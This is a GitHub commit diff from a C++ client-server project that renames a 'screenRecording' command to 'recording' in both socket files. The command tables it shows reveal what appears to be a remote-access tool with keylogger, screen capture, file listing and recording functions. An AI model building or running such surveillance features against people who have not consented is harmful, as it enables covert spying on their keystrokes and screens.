Skip to content

Commit e707c77

Browse files
committed
Modify: Webcam
1 parent 0fcab36 commit e707c77

File tree

2 files changed

+4
-4
lines changed

2 files changed

+4
-4
lines changed

Client/ClientSocket.cpp

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ std::unordered_map<std::string, std::string> ClientSocket::messageMap = {
2323
{"enableKeyboard", "ENABLE_KEYBOARD"},
2424
{"enableKeylogger", "ENABLE_KEYLOGGER"},
2525
{"disableKeylogger", "DISABLE_KEYLOGGER"},
26-
{"screenRecording", "SCREEN_RECORDING"}
26+
{"recording", "SCREEN_RECORDING"}
2727
};
2828

2929
std::vector<std::string> ClientSocket::splitArguments(const std::string &str)
@@ -172,7 +172,7 @@ bool ClientSocket::executeCommand(std::string &response, std::string& receivedFi
172172
command == "listFiles" ||
173173
command == "captureScreen" ||
174174
command == "disableKeylogger" ||
175-
command == "screenRecording" ) {
175+
command == "recording" ) {
176176
// These command has file send back to client
177177
// Receive the file name from the server
178178
memset(buffer, 0, sizeof(buffer));

Server/ServerSocket.cpp

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ std::unordered_map<std::string, MessageType> ServerSocket::messageMap = {
2323
{"enableKeyboard", ENABLE_KEYBOARD},
2424
{"enableKeylogger", ENABLE_KEYLOGGER},
2525
{"disableKeylogger", DISABLE_KEYLOGGER},
26-
{"screenRecording", SCREEN_RECORDING}
26+
{"recording", SCREEN_RECORDING}
2727
};
2828

2929
ServerSocket::ServerSocket() :
@@ -403,7 +403,7 @@ void ServerSocket::initializeHandlers() {
403403
handlers[SCREEN_RECORDING] = [this](SOCKET &clientSocket, const std::string& command) {
404404
auto tokens = parseCommand(command);
405405
if (tokens.size() != 2) {
406-
sendResponse(clientSocket, "Usage: screenRecording &lt;duration_in_seconds&gt;");
406+
sendResponse(clientSocket, "Usage: recording &lt;duration_in_seconds&gt;");
407407
return;
408408
}
409409

0 commit comments

Comments
 (0)